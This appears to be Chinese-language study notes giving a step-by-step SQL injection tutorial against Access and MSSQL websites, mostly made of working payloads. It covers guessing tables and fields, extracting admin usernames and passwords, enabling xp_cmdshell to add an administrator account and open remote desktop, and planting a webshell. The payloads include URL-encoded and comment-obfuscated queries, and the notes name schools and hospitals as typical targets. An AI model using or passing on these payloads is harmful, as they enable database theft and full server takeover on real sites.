一、access数据库
1.access只有个一个当前库,要直接拆解数据库的表名。
2.如何去判断对方的网站是什么数据库?
通过点击网页页面的连接,查看地址栏内是否有带参数的地址,然后进行单引号测试,如果存在注入口,就会报错,报错内容里面有 OLE DB ODBC 字样的报错,就可以判断是access数据。
access适合搭建小型网站,比如学校、医院的网站数据库。
MYSQL数据报错内容会有mysql字样。
3.猜表名:
通过单引号找到注入口后,access只能使用and exists(select * from users)来判断表名。如果没有users表,网页会出现错误。如果存在这个表名页面会正常显示。可以使用明小子。
4.猜数据表里的字段:
在地址栏内输入:and exists(select password from administrator)
5.猜字段内容:
猜长度
and (select top 1 len(user_name) from administrator)>1
猜字母
and (select top 1 asc(user_name,1,1) from administrator)>0
如果大于0说明是字母,如果小于0说明是汉字,找出来asc码后利用转换工具进行转换,比如vstar里面的小葵。
二、mssql数据库
6.sql注入中的高级查询--order by 和 union select 查询
order by可以查询出字段的个数,结合union select 找到用户名和密码
亦可以通过工具进行破解:vstar里面的pangolin
7.sqlserve分为三个权限:sa dbowner pubulic
在开始菜单里可以打开图形化sql数据库,可以看出我们都打开了sa权限。
只有在sa权限下才能使用xp_cmdshell(操作命令行)扩展程序。
sa权限:通过sql注入点控制服务器的流程:
第一步检查是否是mssql数据库:
and exists(select * from 20% sysobjects)
第二部查询当前数据库系统的用户名:and system_user=0
第三步 检查注入点是否是sa权限 :and 1=(select IS_SRVROLEMEMBER('sysadmin'))
第四步:判断一下xp_cmdshell存储过程是否存在:
and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
恢复xshell可用:EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure ’xp_cmdshell’, 1;RECONFIGURE;-- 在微软sqlserve数据库这条命令都可以执行
第五步:添加账户: nte user查看有哪些账户
;exec master..xp_cmdshell 'net user test/add'
;exec master..xp_cmdshell 'net locaigroup administrators test/add'
第六步:开3389
dbowner权限下的扩展攻击利用:
第一步:查看当前网站是否为db_owner权限
and 1=(SELECT IS_MEMBER('db_owner'));-- 判断当前数据库用户是否为db_owner权限
第二步:找出网站路径,不能直接执行操作系统命令行
1、通过报 错或baidu、google等查找;
2、通过相关语句:
drop table black;create Table black(result varchar(7996) null, id int not null identity
insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
and (select result from black where id=1)>0--
第三步:写入一句话木马获取webshell
pubulic权限:可以获取数据库的数据,虽说是最差劲的权限但是是可以脱库的。
1.获取当前数据库名称:and db_name()=0
可以获取到数据库名 testdb
2.获取mssql所有数据库名和路径:
%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
3.获取当前数据库所有表名:
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
4.爆表名和字段名:http://192.168.16.105:82/sqlserver/1.aspx?xxser=1 having 1=1
可以得到admin.id 表名.字段名
http://192.168.16.105:82/sqlserver/1.aspx?xxser=1 group by admin.id having 1=1
可以获取到admin.name 表名.字段名
http://192.168.16.105:82/sqlserver/1.aspx?xxser=1 group by admin.id,admin.name having 1=1
可以获取到admin.password 表名.字段名
5.获取字段内容:可以获取到用户名和密码
/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1